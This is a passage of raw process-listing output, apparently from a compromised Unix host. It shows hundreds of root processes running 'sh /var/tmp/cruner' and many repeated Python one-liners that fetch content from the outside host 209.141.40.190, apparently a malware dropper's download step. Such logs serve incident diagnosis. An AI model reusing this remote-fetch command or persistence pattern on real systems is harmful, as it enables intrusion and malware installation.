? 0:00 <defunct> > root 17148 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21450 9025 0 15:46:09 ? 0:00 sleep 60 > root 17661 6800 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 13380 14760 0 15:45:55 ? 0:00 xargs kill -9 > root 25092 20063 0 - ? 0:00 <defunct> > root 18083 19300 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8016 7747 0 15:45:09 ? 0:00 bash -sh > root 14211 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9616 9420 0 15:45:50 ? 0:00 /bin/ksh -p /bin/kill -9 > root 15151 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1898 4588 0 15:44:11 ? 0:00 bash -sh > root 12476 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29266 29250 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20128 19918 0 15:44:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26896 20426 0 15:45:34 ? 0:00 xargs kill -9 > root 5276 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2926 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7628 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19206 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13715 13710 0 15:43:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19470 12681 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22975 24604 0 15:46:09 ? 0:00 bash -sh > root 16479 12535 0 15:44:57 ? 0:00 bash -sh > root 13479 13348 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2369 2944 0 - ? 0:00 <defunct> > root 20879 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5708 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6245 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17575 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27904 17729 0 15:45:18 ? 0:00 sleep 60 > root 25321 1971 0 15:44:01 ? 0:00 bash -sh > root 16579 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11481 11429 0 15:46:07 ? 0:00 bash -sh > root 26146 26164 0 - ? 0:00 <defunct> > root 10023 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26575 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25142 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19974 13750 0 15:45:17 ? 0:00 bash -sh > root 8395 16417 0 - ? 0:00 <defunct> > root 19029 6277 0 15:45:42 ? 0:00 sleep 60 > root 6869 19750 0 15:45:45 ? 0:00 bash -sh > root 24918 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26594 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 770 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10433 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1951 19059 0 15:45:31 ? 0:00 sleep 60 > root 3489 13328 0 15:45:19 ? 0:00 bash -sh > root 13668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 279 21294 0 - ? 0:00 <defunct> > root 23153 14586 0 15:45:47 ? 0:00 bash -sh > root 12789 10062 0 - ? 0:00 <defunct> > root 14262 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4996 18462 0 - ? 0:00 <defunct> > root 17477 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1275 20506 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22018 11982 0 15:45:06 ? 0:00 bash -sh > root 20726 25211 0 15:44:53 ? 0:00 bash -sh > root 28881 11887 0 15:45:18 ? 0:00 sleep 60 > root 16455 1492 0 15:46:00 ? 0:00 sh /tmp/cruner > root 28790 23564 0 15:46:02 ? 0:00 sleep 60 > root 17009 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8894 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27379 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9684 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25139 21767 0 15:46:10 ? 0:00 xargs kill -9 > root 783 7518 0 15:45:48 ? 0:00 sleep 60 > root 14413 1 0 01:58:15 ? 0:00 sh /var/tmp/cruner > root 9086 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6891 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12918 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2022 3895 0 15:45:19 ? 0:00 sleep 60 > root 9369 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17113 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27043 20217 0 - ? 0:00 <defunct> > root 18636 19946 0 - ? 0:00 <defunct> > root 28393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18252 23969 0 15:45:29 ? 0:00 bash -sh > root 13965 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25343 14591 0 - ? 0:00 <defunct> > root 23682 3651 0 - ? 0:00 <defunct> > root 27969 1 0 17:03:34 ? 0:01 sh /var/tmp/cruner > root 26306 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1038 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22485 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 416 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13039 1 0 18:07:47 ? 0:01 sh /var/tmp/cruner > root 5815 18995 0 15:45:20 ? 0:00 sleep 60 > root 11882 11831 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21159 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2172 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24654 10977 0 - ? 0:00 <defunct> > root 14170 23695 0 15:45:37 ? 0:00 bash -sh > root 8154 10314 0 15:45:10 ? 0:00 bash -sh > root 16034 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19100 24770 0 15:45:38 ? 0:00 bash -sh > root 22693 4661 0 15:46:09 ? 0:00 bash -sh > root 19326 7858 0 15:46:00 ? 0:00 sleep 60 > root 14379 19352 0 15:43:11 ? 0:00 bash -sh > root 25936 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24988 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3793 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7490 10571 0 15:45:40 ? 0:00 bash -sh > root 28239 6341 0 15:45:27 ? 0:00 sleep 60 > root 17165 19806 0 15:45:29 ? 0:00 bash -sh > root 15615 18426 0 15:46:08 ? 0:00 sleep 60 > root 25540 21832 0 15:45:17 ? 0:00 bash -sh > root 12042 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10467 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18640 19680 0 - ? 0:00 <defunct> > root 29258 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21404 25232 0 - ? 0:00 <defunct> > root 23122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3188 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28437 28400 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20712 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18480 8737 0 15:45:37 ? 0:00 bash -sh > root 22251 11680 0 15:45:47 ? 0:00 xargs kill -9 > root 843 28803 0 15:45:48 ? 0:00 sleep 60 > root 7296 17048 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 4148 14883 0 15:45:40 ? 0:00 bash -sh > root 16025 29970 0 15:45:32 ? 0:00 sleep 60 > root 15791 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29537 4837 0 15:45:18 ? 0:00 sleep 60 > root 29169 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26173 15365 0 15:46:10 ? 0:00 netstat -antp > root 28791 26218 0 15:43:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2965 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16983 16962 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14087 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26449 25478 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 9352 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7268 7230 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12818 1776 0 - ? 0:00 <defunct> > root 9843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24539 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8378 22042 0 15:45:40 ? 0:00 bash -sh > root 12639 29330 0 15:45:50 ? 0:00 bash -sh > root 9392 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19385 8535 0 15:45:29 ? 0:00 sleep 60 > root 1823 1221 0 - ? 0:00 <defunct> > root 25068 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18432 25476 0 - ? 0:00 <defunct> > root 20824 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9408 23627 0 - ? 0:00 <defunct> > root 12730 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 31 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15744 23295 0 15:43:27 ? 0:00 bash -sh > root 15332 20068 0 - ? 0:00 <defunct> > root 29176 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10405 15608 0 15:45:25 ? 0:00 sleep 60 > root 25616 25592 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14753 11625 0 15:46:00 ? 0:00 bash -sh > root 7427 1 0 23:59:05 ? 0:00 sh /var/tmp/cruner > root 27885 15065 0 15:45:34 ? 0:00 sleep 60 > root 7476 3845 0 15:43:43 ? 0:00 bash -sh > root 701 1 0 22:38:47 ? 0:00 sh /var/tmp/cruner > root 8384 8367 0 - ? 0:00 <defunct> > root 8825 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16589 2526 0 - ? 0:00 <defunct> > root 16880 16391 0 - ? 0:00 <defunct> > root 27836 27822 0 15:45:34 ? 0:00 sleep 60 > root 23828 6782 0 - ? 0:00 <defunct> > root 15436 19444 0 15:46:08 ? 0:00 bash -sh > root 16023 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24105 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8901 740 0 15:45:58 ? 0:00 sleep 60 > root 6070 29996 0 - ? 0:00 <defunct> > root 14884 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5782 426 0 15:46:06 ? 0:00 sleep 60 > root 1868 12646 0 - ? 0:00 <defunct> > root 18850 4476 0 15:45:12 ? 0:00 bash -sh > root 25408 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13676 26164 0 - ? 0:00 <defunct> > root 29344 2531 0 15:45:53 ? 0:00 sleep 60 > root 19164 10977 0 - ? 0:00 <defunct> > root 22327 21461 0 - ? 0:00 <defunct> > root 22604 15465 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 12873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27996 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7416 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17691 13373 0 15:45:42 ? 0:00 bash -sh > root 11632 11622 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3702 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2691 20469 0 15:45:48 ? 0:00 sleep 60 > root 5626 24008 0 - ? 0:00 <defunct> > root 7216 16785 0 15:43:18 ? 0:00 bash -sh > root 18643 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20166 6884 0 15:45:06 ? 0:00 bash -sh > root 21388 24049 0 15:45:06 ? 0:00 bash -sh > root 13693 10656 0 15:45:50 ? 0:00 bash -sh > root 1575 25076 0 15:45:48 ? 0:00 sleep 60 > root 11859 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28741 1 0 22:22:02 ? 0:00 sh /var/tmp/cruner > root 12499 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28892 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21924 26183 0 15:45:57 ? 0:00 sh /tmp/cruner > root 10434 19504 0 15:45:10 ? 0:00 bash -sh > root 24054 12440 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11235 12294 0 15:46:07 ? 0:00 sleep 60 > root 22285 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26045 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23867 17948 0 - ? 0:00 <defunct> > root 4726 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18753 452 0 14:28:54 ? 0:00 /usr/sbin/in.telnetd > root 4236 2540 0 15:44:23 ? 0:00 bash -sh > root 13586 13799 0 15:45:55 ? 0:00 sleep 60 > root 18263 15575 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25108 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15015 10519 0 15:44:52 ? 0:00 bash -sh > root 20365 7765 0 - ? 0:00 <defunct> > root 17599 12728 0 - ? 0:00 <defunct> > root 18620 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20990 16487 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23069 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19143 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27794 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9131 1 0 20:45:17 ? 0:00 sh /var/tmp/cruner > root 11176 8780 0 15:46:07 ? 0:00 sleep 60 > root 25716 22602 0 15:45:30 ? 0:00 sleep 60 > root 27304 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17674 7899 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 7329 6422 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5814 10649 0 - ? 0:00 <defunct> > root 10713 3459 0 15:45:25 ? 0:00 sleep 60 > root 1832 5884 0 15:46:06 ? 0:00 bash -sh > root 26535 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19211 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4066 25881 0 15:46:06 ? 0:00 sleep 60 > root 1721 7213 0 15:45:19 ? 0:00 sleep 60 > root 26947 21819 0 15:45:18 ? 0:00 sleep 60 > root 1789 10950 0 15:46:06 ? 0:00 bash -sh > root 15596 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26630 6215 0 15:45:13 ? 0:00 bash -sh > root 8980 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 728 196 0 15:45:34 ? 0:00 sleep 60 > root 2801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5213 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22338 11824 0 15:46:09 ? 0:00 bash -sh > root 29458 27158 0 - ? 0:00 <defunct> > root 1123 11441 0 - ? 0:00 <defunct> > root 15181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4362 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13823 29735 0 - ? 0:00 <defunct> > root 26051 8711 0 15:45:39 ? 0:00 bash -sh > root 11226 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14220 22348 0 - ? 0:00 <defunct> > root 14691 3763 0 15:45:37 ? 0:00 bash -sh > root 6405 8662 0 15:45:49 ? 0:00 sleep 60 > root 16855 5765 0 15:44:48 ? 0:00 bash -sh > root 7751 17270 0 15:45:49 ? 0:00 xargs kill -9 > root 25461 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21011 23412 0 - ? 0:00 <defunct> > root 13125 174 0 15:46:04 ? 0:00 sleep 60 > root 6284 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24271 23717 0 - ? 0:00 <defunct> > root 10443 26487 0 15:44:51 ? 0:00 bash -sh > root 14703 10215 0 15:42:19 ? 0:00 bash -sh > root 11061 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 4194 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18292 18262 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17414 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7790 7875 0 15:45:04 ? 0:00 bash -sh > root 14512 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25622 28906 0 15:44:54 ? 0:00 bash -sh > root 29165 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11604 1 0 19:53:49 ? 0:00 sh /var/tmp/cruner > root 22181 22379 0 15:45:33 ? 0:00 sleep 60 > root 5036 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1722 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9287 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26209 11298 0 - ? 0:00 <defunct> > root 27862 25659 0 15:46:02 ? 0:00 sleep 60 > root 25001 8257 0 - ? 0:00 <defunct> > root 28097 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7218 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21097 19584 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 10716 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 890 1497 0 15:44:11 ? 0:00 bash -sh > root 5353 25370 0 - ? 0:00 <defunct> > root 16637 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10794 27344 0 15:45:59 ? 0:00 bash -sh > root 6164 14300 0 - ? 0:00 <defunct> > root 11731 14156 0 - ? 0:00 <defunct> > root 621 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19149 12475 0 - ? 0:00 <defunct> > root 16149 14869 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13284 19773 0 15:43:27 ? 0:00 bash -sh > root 25868 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6867 25279 0 15:45:09 ? 0:00 bash -sh > root 12533 23424 0 15:46:08 ? 0:00 xargs kill -9 > root 1564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12572 21391 0 15:46:08 ? 0:00 bash -sh > root 24266 12426 0 - ? 0:00 <defunct> > root 24440 28039 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4553 28486 0 - ? 0:00 <defunct> > root 11052 16672 0 - ? 0:00 <defunct> > root 21268 6797 0 15:45:17 ? 0:00 sleep 60 > root 921 6601 0 15:45:48 ? 0:00 bash -sh > root 27080 15139 0 15:45:47 ? 0:00 sleep 60 > root 28801 28798 0 15:45:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18592 17035 0 - ? 0:00 <defunct> > root 3832 5568 0 - ? 0:00 <defunct> > root 898 3980 0 - ? 0:00 <defunct> > root 26093 12495 0 15:43:40 ? 0:00 bash -sh > root 8469 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19672 17705 0 15:45:16 ? 0:00 sleep 60 > root 14214 19001 0 15:45:59 ? 0:00 sleep 60 > root 28585 3541 0 - ? 0:00 <defunct> > root 7470 9642 0 15:45:49 ? 0:00 sleep 60 > root 26310 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8970 8747 0 15:45:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14313 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5827 13527 0 15:45:54 ? 0:00 bash -sh > root 24403 24665 0 15:44:54 ? 0:00 bash -sh > root 5349 1092 0 - ? 0:00 <defunct> > root 5441 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12124 8450 0 - ? 0:00 <defunct> > root 17060 7263 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2027 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28459 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11550 13461 0 15:45:59 ? 0:00 bash -sh > root 19789 12539 0 15:45:46 ? 0:00 xargs kill -9 > root 25322 18268 0 15:43:15 ? 0:00 bash -sh > root 22748 6728 0 15:45:38 ? 0:00 sleep 60 > root 12589 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23143 26343 0 15:45:43 ? 0:00 bash -sh > root 9724 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18799 10097 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 18211 10625 0 15:43:39 ? 0:00 bash -sh > root 2450 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9505 23182 0 15:46:07 ? 0:00 bash -sh > root 20274 8331 0 - ? 0:00 <defunct> > root 15212 14165 0 15:44:30 ? 0:00 bash -sh > root 5249 22306 0 15:45:58 ? 0:00 sleep 60 > root 15854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18764 17207 0 - ? 0:00 <defunct> > root 654 4492 0 - ? 0:00 <defunct> > root 9658 2417 0 15:45:50 ? 0:00 bash -sh > root 18348 19949 0 15:45:51 ? 0:00 sleep 60 > root 17635 21789 0 - ? 0:00 <defunct> > root 2725 2808 0 15:45:48 ? 0:00 sleep 60 > root 26040 8134 0 - ? 0:00 <defunct> > root 22837 9222 0 15:45:23 ? 0:00 bash -sh > root 17032 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26323 5975 0 15:43:40 ? 0:00 bash -sh > root 22433 14431 0 - ? 0:00 <defunct> > root 19643 281 0 - ? 0:00 <defunct> > root 27877 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21034 5706 0 - ? 0:00 <defunct> > root 11008 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1460 27172 0 15:45:48 ? 0:00 sleep 60 > root 7562 12778 0 15:45:54 ? 0:00 sleep 60 > root 22442 1556 0 - ? 0:00 <defunct> > root 15840 7469 0 15:46:00 ? 0:00 bash -sh > root 3614 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4742 2160 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23909 27919 0 15:44:49 ? 0:00 bash -sh > root 14436 16784 0 15:45:11 ? 0:00 sleep 60 > root 7766 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9234 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23223 13781 0 15:45:52 ? 0:00 xargs kill -9 > root 9301 2623 0 15:44:38 ? 0:00 bash -sh > root 22464 11294 0 15:43:40 ? 0:00 bash -sh > root 15101 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6323 2726 0 15:45:09 ? 0:00 bash -sh > root 18050 15357 0 - ? 0:00 <defunct> > root 10914 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10981 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18397 23674 0 15:46:00 ? 0:00 sleep 60 > root 14576 22467 0 - ? 0:00 <defunct> > root 24190 1268 0 - ? 0:00 <defunct> > root 22583 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20997 13283 0 - ? 0:00 <defunct> > root 29846 26594 0 15:45:34 ? 0:00 sleep 60 > root 29070 27907 0 15:45:47 ? 0:00 sh /tmp/cruner > root 2001 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8734 1 0 18:09:12 ? 0:01 sh /var/tmp/cruner > root 4205 19438 0 - ? 0:00 <defunct> > root 25447 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19444 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1352 16192 0 15:46:06 ? 0:00 bash -sh > root 29027 8982 0 15:45:18 ? 0:00 sleep 60 > root 15238 20707 0 15:45:01 ? 0:00 bash -sh > root 17533 100 0 15:44:57 ? 0:00 bash -sh > root 12232 1 0 Oct 06 ? 0:02 sh /var/tmp/cruner > root 13645 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24242 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7604 29736 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 16916 605 0 15:44:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13237 12181 0 - ? 0:00 <defunct> > root 22597 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14855 14843 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 473 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18237 28689 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 21822 13262 0 15:42:43 ? 0:00 bash -sh > root 2084 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9113 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10583 2560 0 - ? 0:00 <defunct> > root 29999 27694 0 - ? 0:00 <defunct> > root 6993 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9269 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12082 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18216 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13517 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24710 23883 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19986 6096 0 15:45:17 ? 0:00 bash -sh > root 8197 12333 0 - ? 0:00 <defunct> > root 29053 3851 0 15:45:39 ? 0:00 sleep 60 > root 24355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12009 11999 0 - ? 0:00 <defunct> > root 24598 12047 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14778 19908 0 15:44:16 ? 0:00 bash -sh > root 11624 27794 0 15:43:10 ? 0:00 bash -sh > root 8346 20900 0 15:45:49 ? 0:00 xargs kill -9 > root 9694 28185 0 - ? 0:00 <defunct> > root 10230 12361 0 15:45:32 ? 0:00 bash -sh > root 23513 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18708 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18034 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7126 14313 0 15:43:43 ? 0:00 bash -sh > root 15435 22796 0 - ? 0:00 <defunct> > root 10193 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28534 8310 0 15:44:45 ? 0:00 bash -sh > root 1973 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28717 13338 0 15:43:30 ? 0:00 bash -sh > root 17435 29116 0 15:46:08 ? 0:00 sleep 60 > root 28076 25610 0 15:45:53 ? 0:00 sleep 60 > root 26949 13365 0 15:45:47 ? 0:00 sleep 60 > root 13814 17797 0 15:45:50 ? 0:00 bash -sh > root 12883 6974 0 15:45:41 ? 0:00 sleep 60 > root 6975 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13204 11062 0 15:45:45 ? 0:00 xargs kill -9 > root 6762 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1581 18362 0 - ? 0:00 <defunct> > root 12861 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 11274 27824 0 15:45:59 ? 0:00 bash -sh > root 7674 532 0 - ? 0:00 <defunct> > root 25309 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28359 27642 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24007 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2910 7580 0 15:45:19 ? 0:00 sleep 60 > root 5718 11587 0 15:44:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17553 10047 0 15:43:33 ? 0:00 bash -sh > root 27740 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4192 14895 0 15:46:06 ? 0:00 sleep 60 > root 26059 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1700 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23853 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15367 11362 0 15:45:05 ? 0:00 bash -sh > root 3650 3633 0 - ? 0:00 <defunct> > root 5083 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13051 254 0 15:45:55 ? 0:00 sleep 60 > root 26036 2097 0 15:45:07 